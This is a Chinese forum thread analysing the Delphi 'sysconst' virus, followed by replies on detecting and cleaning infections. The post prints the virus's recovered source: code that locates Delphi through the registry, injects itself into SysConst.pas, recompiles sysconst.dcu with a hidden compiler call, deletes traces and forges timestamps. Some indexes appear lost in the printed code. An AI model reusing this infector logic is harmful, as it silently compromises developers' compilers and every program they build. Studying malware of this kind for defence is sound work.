关于sysconst病毒的一点分析

gyk120 2009-08-28 11:47:28
加精
剪刀老大威逼的……本来想用OD+IDA的,后来想想,这里不是汇编板块,为了让大多数同行朋友能够看得懂,运用了一下傻瓜工具,RT。
这个病毒运行原理如何,假设我们一概不知,但我们可以用类似黑盒的方法检测出来,比如用Filemon这类的工具,检测这个EXE到底做了哪些操作,监视记录日志已经上传到CSDN资源上面,大家可以到这个页面下载
http://download.csdn.net/source/1611684
具体来说,这个病毒会做如下事情:
1、运行,读取注册表,找出Delphi的安装目录(这样一来,对2000+就没有威胁了,因为安装信息不会保存在注册表当中)
2、找到安装目录下lib文件夹,查找sysconst.bak文件,如果是感染过的(有这个文件),就没有什么动作,else,恩恩
3、如果未被感染,病毒会读取C:\Program Files\Borland\Delphi7\source\rtl\sys\SysConst.pas(通过注册表获取路径,我的电脑上是这样的),并且在指定偏移位置写入字符串。
4、把那个倒霉蛋sysconst.dcu(我是好人啊……)改成bak后缀名,逐出门墙,欢迎新人到来。
5、调用dcc32编译器,带参编译,生成新的带毒的sysconst.dcu
6、暗度陈仓,还要毁灭证据才行,删除sysconst.pas,避免被发现
7、大功告成,同步一下时间戳,天衣无缝……
以上就是病毒全部的行为,至于病毒写了些什么,不妨接着往下看。
接下来利用DeDeDark,这可是反汇编Delphi的好东西,当然我们不需要反汇编,我们只需要查看一下PE结构即可

这是未被感染的EXE的PE结构

这是被感染后的EXE的PE结构
从这两图当中可以看出,被感染后,PE文件的data段和idata段都被写入了信息,因此占用的空间变大了,不过,究竟写入了什么,还是得求助Winhex这类16进制查看工具。
Winhex载入被感染的EXE和干净EXE相比对,很快就发现此处有问题:

里面写入了一些乱七八糟的字符串,这个相当于作者的开源方法?由于是采用字符数组保存,所以看得到明文。梳理一下还是一段代码:
function x(s:string):string;

var

i:integer;

begin

for i:=1 to length(s) do

if s=#36 then s:=#39;

result:=s;

end;

procedure re(s,d,e:string);

var

f1,f2:textfile;

h:cardinal;

f:STARTUPINFO;

p:PROCESS_INFORMATION;

b:boolean;

t1,t2,t3:FILETIME;

begin

h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);

if h<>DWORD(-1) then

begin

CloseHandle(h);

exit;

end;

{'I-}assignfile(f1,s);

reset(f1);

if ioresult<>0 then

exit;

assignfile(f2,d+'pas');

rewrite(f2);

if ioresult<>0 then

begin

closefile(f1);

exit;

end;

while not eof(f1) do

begin

readln(f1,s);

writeln(f2,s);

if pos('implementation',s)<>0 then

break;

end;

for h:= 1 to 1 do

writeln(f2,sc[h]);

for h:= 1 to 23 do

writeln(f2,''''+sc[h],''',');

writeln(f2,''''+sc[24]+''');');

for h:= 2 to 24 do

writeln(f2,x(sc[h]));

closefile(f1);

closefile(f2);

{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));

fillchar(f,sizeof(f),0);

f.cb := sizeof(f);

f.dwFlags := STARTF_USESHOWWINDOW;

f.wShowWindow := SW_HIDE;

b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);

if b then

WaitForSingleObject(p.hProcess,INFINITE);

MoveFile(pchar(d+'bak'),pchar(d+'dcu'));

DeleteFile(pchar(d+'pas'));

h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);

if h=DWORD(-1) then

exit;

GetFileTime(h,@t1,@t2,@t3);

CloseHandle(h);

h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);

if h=DWORD(-1) then

exit;

SetFileTime(h,@t1,@t2,@t3);

CloseHandle(h);

end;



procedure st;

var

k:HKEY;

c:array [1..255] of char;

i:cardinal;

r:string;

v:char;

begin

for v:='4' to '7' do

if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then

begin

i:=255;

if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then

begin

r:='';

i:=1;

while c<>#0 do

begin

r:=r+c;

inc(i);

end;

re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');

end;

RegCloseKey(k);

end;

end;

begin

st;

end.
...全文
2754 107 打赏 收藏 转发到动态 举报
写回复
用AI写文章
107 条回复
切换为时间正序
请发表友善的回复…
发表回复
山东蓝鸟贵薪 2011-06-29
  • 打赏
  • 举报
回复
又是写病毒的呀,学习学习
Rail100 2010-03-04
  • 打赏
  • 举报
回复
我靠,这病毒太猛了,虽然已经很少用delphi,但下次用的时候一定要多加留意。
ws999999999 2009-09-27
  • 打赏
  • 举报
回复
强…………………………
lhy 2009-09-27
  • 打赏
  • 举报
回复
[Quote=引用 99 楼 chengran1984 的回复:]
中招中,Windows7 +delphi7 中毒以后我用原来的恢复了以后,只要编译,马上又中毒,不管你的bak文件是否存在,现在迷茫中不知道如何解决。
[/Quote]
是不是没有删除带毒的exe
gyk120 2009-09-26
  • 打赏
  • 举报
回复
sysconst.dcu大小如果是17K,那就是中毒了,把lib/debug目录下的sysconst.dcu复制到lib目录下覆盖即可
hjkto 2009-09-21
  • 打赏
  • 举报
回复
要怎么判断自己的d7是否中毒
有无简单的判断方法?和预防方法?lz
k1727 2009-09-20
  • 打赏
  • 举报
回复
卡巴可以杀了。
wxsan 2009-09-18
  • 打赏
  • 举报
回复
牛人!
chengran1984 2009-09-12
  • 打赏
  • 举报
回复
中招中,Windows7 +delphi7 中毒以后我用原来的恢复了以后,只要编译,马上又中毒,不管你的bak文件是否存在,现在迷茫中不知道如何解决。
suuuu 2009-09-11
  • 打赏
  • 举报
回复
个人的观点是:无论是利用delphi编的病毒还是黑了delphi使我们这些菜鸟的程序变成病毒,只会让我感觉delphi的魅力越来越大。任何的程序或者工具都会有漏洞,linux的成长过程也是啊。关注的人多了,爱好的人多了,这样的程序或者工具才会得到发展。呵呵~个人还是个菜鸟,也知道delphi易学难精的道理。但是就抱着想把它学精的态度去专研。期间肯定少不了各位高手的指点,学好了我也希望可以像楼主一样潇洒的这样发表自己的看法。
观摩、学习~
lw549 2009-09-08
  • 打赏
  • 举报
回复
怎么说呢?代码写成这样只能说有点丢人现眼了。貌似得到了谭浩强的真传,哈哈。
smile_ps 2009-09-08
  • 打赏
  • 举报
回复
去运气还好。没中招!其他几个同事都中招了。
newfang 2009-09-05
  • 打赏
  • 举报
回复
顶楼主~~~
ruanjian2110 2009-09-02
  • 打赏
  • 举报
回复
这个病毒来的太突然了,怪不得前几天运行delphi程序卡巴就会报毒,删除了之后就出问题了。后来不得不把系统还原了,之后还是报毒。没办法就暂时没用了,今天网上一查,果然有好多人中此毒!哎.
阿发伯 2009-09-02
  • 打赏
  • 举报
回复
顶一下
dongnanyanhai 2009-09-02
  • 打赏
  • 举报
回复
[Quote=引用 52 楼 xinxinshou2009 的回复:]
引用 50 楼 snowflying928 的回复:

这种推理太简单了。一个公司不敢这么搞的。除非他想死,如果有目的也是个人的行为。
看看现在的外资贿赂案就知道了。一个上市公司是不敢这么搞的。当然如果是在中国就另当别论了



很多时候,就是我们把简单的事情想复杂了。一个公司不敢这么搞?你见过微软的公司这么频繁的打恐吓电话嘛?你见过以前的宝蓝这么频繁的恐吓嘛?外资贿赂案,只是因为牵扯到国家的利益,所以才被这么严肃处理,如果只是牵涉个人,谁会插手这种事情?现在的中国,只要看看不久前的躲猫猫和俯卧撑,就知道什么事都有可能发生,有什么好奇怪的?
[/Quote]

我也希望外国的那些呆B们这么搞,但显然他们在这点上不大想学中国的呆B!
Sou2012 2009-09-02
  • 打赏
  • 举报
回复
支持原创!!
  • 打赏
  • 举报
回复
每天回帖有10分呢
laoban108 2009-09-01
  • 打赏
  • 举报
回复
没懂。。。。收藏。。
CaiBirdy 2009-09-01
  • 打赏
  • 举报
回复
想避免再次感染其实也很简单,把好的pas文件放在编译路径最顶层就好了,只是简单设置一下编译路径,病毒感染的那个文件也不会编译进来,病毒不攻自破。。。
加载更多回复(87)

16,748

社区成员

发帖
与我相关
我的任务
社区描述
Delphi 语言基础/算法/系统设计
社区管理员
  • 语言基础/算法/系统设计社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧